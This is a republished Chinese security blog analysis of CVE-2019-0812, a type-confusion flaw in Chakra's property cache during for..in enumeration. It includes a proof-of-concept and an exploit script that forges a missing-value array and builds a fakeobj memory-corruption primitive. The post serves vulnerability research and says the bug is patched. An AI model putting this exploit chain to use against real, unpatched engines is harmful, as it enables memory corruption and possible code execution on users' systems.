Chakra脚本引擎内存破坏漏洞分析(CVE-2019-0812)
2019-09-29 11:09:13 Author: www.4hou.com(查看原文) 阅读量:183 收藏

导语:在Chakra中,javascript代码最初通过解释器运行,然后在最终被调度用于JIT编译时重复调用函数。为了加速解释器中的执行,可以缓存某些操作(如属性读取和写入),以避免每次访问给定属性时进行类型查找。本质上,这些`Cache`对象将属性名称与索引相关联以检索属性或写入属性。

漏洞分析

与其他引擎一样,JavaScript对象a在内部表示为DynamicObject,并且它们不会将自己的属性名称映射为属性值。相反,它们只维护属性值并且有一个type字段,该字段指向一个Type对象,该对象能够将属性名称映射到属性值数组中的索引。

在Chakra中,JavaScript代码最初通过解释器运行,然后在最终被调度用于JIT编译时重复调用函数。为了加速解释器中的执行,可以缓存某些操作(如属性读取和写入),以避免每次访问给定属性时进行类型查找。本质上,这些Cache对象将属性名称与索引相关联以检索属性或写入属性。

可以导致使用这种高速缓存的操作之一是通过for .. in循环的属性枚举。属性枚举最终将到达枚举对象的类型处理程序中的以下代码:

 template<size_t size>
 BOOL SimpleTypeHandler<size>::FindNextProperty(ScriptContext* scriptContext, PropertyIndex& index, JavascriptString** propertyStringName,
     PropertyId* propertyId, PropertyAttributes* attributes, Type* type, DynamicType *typeToEnumerate, EnumeratorFlags flags, DynamicObject* instance, PropertyValueInfo* info)
 {
     Assert(propertyStringName);
     Assert(propertyId);
     Assert(type);
 
     for( ; index < propertyCount; ++index )
     {
         PropertyAttributes attribs = descriptors[index].Attributes;
         if( !(attribs & PropertyDeleted) && (!!(flags & EnumeratorFlags::EnumNonEnumerable) || (attribs & PropertyEnumerable)))
         {
             const PropertyRecord* propertyRecord = descriptors[index].Id;
 
             // Skip this property if it is a symbol and we are not including symbol properties
             if (!(flags & EnumeratorFlags::EnumSymbols) && propertyRecord->IsSymbol())
             {
                 continue;
             }
 
             if (attributes != nullptr)
             {
                 *attributes = attribs;
             }
 
             *propertyId = propertyRecord->GetPropertyId();
             PropertyString * propStr = scriptContext->GetPropertyString(*propertyId);
             *propertyStringName = propStr;
 
             PropertyValueInfo::SetCacheInfo(info, propStr, propStr->GetLdElemInlineCache(), false);
             if ((attribs & PropertyWritable) == PropertyWritable)
             {
                 PropertyValueInfo::Set(info, instance, index, attribs); // [[ 1 ]]
             }
             else
             {
                 PropertyValueInfo::SetNoCache(info, instance);
             }
             return TRUE;
         }
     }
     PropertyValueInfo::SetNoCache(info, instance);
 
     return FALSE;
 }

有两个有趣的事情需要注意:第一个是,在PropertyValueInfo中,index并attribs同时又有调用此方法的两个Type对象:type和typeToEnumerate。

该PropertyValueInfo是用于创建void CacheOperators::CachePropertyRead属性的。

这里要实现的特殊之处在于,在FindNextProperty代码中,即使将两个Type对象作为参数传递,PropertyValueInfo对象也会随时更新。如果这两种类型不同怎么办?这是否意味着缓存信息会针对错误的类型进行更新?

事实证明,这正是漏洞所在,以下PoC说明了这种行为:

 function poc(v) {
  var tmp = new String("aa");
  tmp.x = 2;
  once = 1;
  for (let useless in tmp) {
   if (once) {
    delete tmp.x;
    once = 0;
   }
   tmp.y = v;
   tmp.x = 1;
  }
  return tmp.x;
 }
 
 console.log(poc(5));

如果看一下这段代码,希望它能够1打印,但它会打印5出来。所以似乎通过执行return tmp.x,它将获取属性的有效值tmp.y。

观察FindNextProperty代码:当delete tmp.x再设置tmp.y和tmp.x,最终tmp.y索引0和tmp.x索引1的对象。但是,在枚举的初始类型中,tmp.x是在索引0处。因此,新类型的缓存信息将更新为tmp.x is at offset 0,在执行时执行直接索引访问return tmp.x。

要利用这个漏洞,需要使用JIT编译器来帮助我们。

利用条件

JIT代码中的内联缓存

为了优化属性访问,JIT代码可以依赖Cache对象生成Type检查序列,然后在类型匹配时进行直接属性访问。

对应于以下指令序列:

 type = object.type
 cachedType = Cache.cachedType
 if type == cachedType:
     index = Cache.propertyIndex
     property = object.properties[index]
 else:
     property = Runtime::GetProperty(object, propertyName)

在JIT编译器中加入推理算法和范围分析

Chakra的JIT编译器在使用最高级别的JIT编译器时使用正向传递算法来执行优化。该算法适用于控制流图(CFG)并以正向方向访问每个块。作为处理新块的第一步,将合并在其每个前块处收集的信息。

使用以下示例显示此行为:

 function opt(flag) {
     let tmp = {};
     tmp.x = 1;
     if (flag) {
         tmp.x = 2;
     }
     
     ...
 }

大致对应于以下CFG:

 function opt(flag) {
     // Block 1
     let tmp = {};
     tmp.x = 1;
     if (flag) {
     // End of Block 1, Successors 2, 3
 
         // Block 2: Predecessor 1    
         tmp.x = 2;
         // End of Block 2: Successor 3
     
     }
 
     // Block 3: Predecessors 1, 2
 }

当JIT开始处理块3,将合并块1,它指定的类型的信息tmp.x的类型是integer in the range [1,1],从块2的类型的信息,指定tmp.x的类型的integer in the range [2,2]。

这些类型的integer in the range [1,2]并集将被分配给tmp.x块3开头的值。

Chakra中的数组

数组通常是重度优化的目标,在Chakra中,大多数阵列具有三种不同的存储模式之一:

· NativeIntArray:每个元素都存储为4字节整数。

· NativeFloatArray:每个元素都存储为8字节浮点数。

· JavascriptArray:每个元素都以其默认形式1存储(存储为0x0001000000000001)。

在此存储模式之上,该对象将携带有关可帮助进一步优化的阵列的信息。HasNoMissingValues标志,表示index 0和之间的每个值都做了length – 1设置。

定义的RuntimeCommon.h如下

     const uint64 VarMissingItemPattern = 0x00040002FFF80002;
     const uint64 FloatMissingItemPattern = 0xFFF80002FFF80002;
     const int32 IntMissingItemPattern = 0xFFF80002;

如果你能够创建一个值并且HasNoMissingValues设置了标志的数组,那么就可以利用成功了,从现在开始可以使用现成的漏洞利用技术

BailOutConventionalNativeArrayAccessOnly

在优化数组存储操作时,JIT将使用类型信息来检查此存储是否可能产生缺失值。如果JIT无法确定不是这种情况,它将使用指令生成缺失值检查。

这些操作由StElem指令IR表示,上述描述将在GlobOpt::TypeSpecializeStElem(IR::Instr ** pInstr, Value *src1Val, Value **pDstVal)方法中进行。此方法的代码太多主要逻辑如下:

 bool bConvertToBailoutInstr = true;
 // Definite StElemC doesn't need bailout, because it can't fail or cause conversion.
 if (instr->m_opcode == Js::OpCode::StElemC && baseValueType.IsObject())
 {
     if (baseValueType.HasIntElements())
     {
         //Native int array requires a missing element check & bailout
         int32 min = INT32_MIN;
         int32 max = INT32_MAX;
 
         if (src1Val->GetValueInfo()->GetIntValMinMax(&min, &max, false)) // [[ 1 ]]
         {
             bConvertToBailoutInstr = ((min <= Js::JavascriptNativeIntArray::MissingItem) && (max >= Js::JavascriptNativeIntArray::MissingItem)); // [[ 2 ]]
         }
     }
     else
     {
         bConvertToBailoutInstr = false;
     }
 }

我们可以看到它获取了valueInfoat 的下限和上限,然后检查是否可以删除bConvertToBailoutInstr == false。

漏洞利用链

我们可以创建一个浏览器引擎不知道的缺失值的数组。为了实现这一点,我们使用漏洞来生成Cache 有关对象的某个属性位置的错误信息,这将导致JIT执行的类型推断和范围分析的错误结果。因此,我们可以分配一个不包含缺失值的数组。以下代码说明了这一点:

 function opt(index) {
  var tmp = new String("aa");
  tmp.x = 2;
  once = 1;
  for (let useless in tmp) {
   if (once) {
    delete tmp.x;
    once = 0;
   }
   tmp.y = index;
   tmp.x = 1;
  }
  return [1, tmp.x - 524286]; // forge missing value 0xfff80002 [[ 1 ]]
 }
 
 for (let i = 0; i < 0x1000; i++) {
  opt(1);
 }
 
 evil = opt(0);
 evil[0] = 1.1;

上面的代码是JIT假设tmp.x是在范围内[1, 2]的。然后它将优化数组创建,因为它推断既不是1 – 524286也不是2 – 524286是缺失值。然而,通过使用这个漏洞,tmp.x将0设为有效,因此tmp.x – 524286将导致0xfff80002是IntMissingItemPattern。然后我们设置一个简单的float来将这个数组转换为 NativeFloatArray。

下面的代码展示了fakeobj从这里派生:

var convert = new ArrayBuffer(0x100); var u32 = new Uint32Array(convert); var f64 = new Float64Array(convert); var BASE = 0x100000000; function hex(x) {     return `0x${x.toString(16)}` } function i2f(x) {     u32[0] = x % BASE;     u32[1] = (x - (x % BASE)) / BASE;     return f64[0]; } function f2i(x) {     f64[0] = x;     return u32[0] + BASE * u32[1]; } // The bug lets us update the CacheInfo for a wrong type so we can create a faulty inline cache. // We use that to confuse the JIT into thinking that the ValueInfo for tmp.x is either 1 or 2 // when in reality our bug will let us write to tmp.x through tmp.y. // We can use that to forge a missing value array with the HasNoMissingValues flag function opt(index) { var tmp = new String("aa"); tmp.x = 2; once = 1; for (let useless in tmp) { if (once) { delete tmp.x; once = 0; } tmp.y = index; tmp.x = 1; } return [1, tmp.x - 524286]; // forge missing value 0xfff80002 } for (let i = 0; i < 0x1000; i++) { opt(1); } evil = opt(0); evil[0] = 1.1; // evil is now a NativeFloatArray with a missing value but the engine does not know it  function fakeobj(addr) {     function opt2(victim, magic_arr, hax, addr){         let magic = magic_arr[1];         victim[0] = 1.1;         hax[0x100] = magic;   // change float Array to Var Array         victim[0] = addr;   // Store unboxed double to Var Array     }     for (let i = 0; i < 10000; i++){         let ary = [2,3,4,5,6.6,7,8,9];         delete ary[1];         opt2(ary, [1.1,2.2], ary, 1.1);     }     let victim = [1.1,2.2];     opt2(victim, evil, victim, i2f(addr));     return victim[0]; } print(fakeobj(0x12345670));

结论

该漏洞之前已经得到了修复。正如我们所看到的,即使漏洞存在于解释器中,JIT编译器也仍然提供了一定程度的自由,在某些情况下是可以被利用的。

希望你喜欢这篇文章,谢谢。


文章来源: https://www.4hou.com/info/news/20271.html
如有侵权请联系:admin#unsafe.sh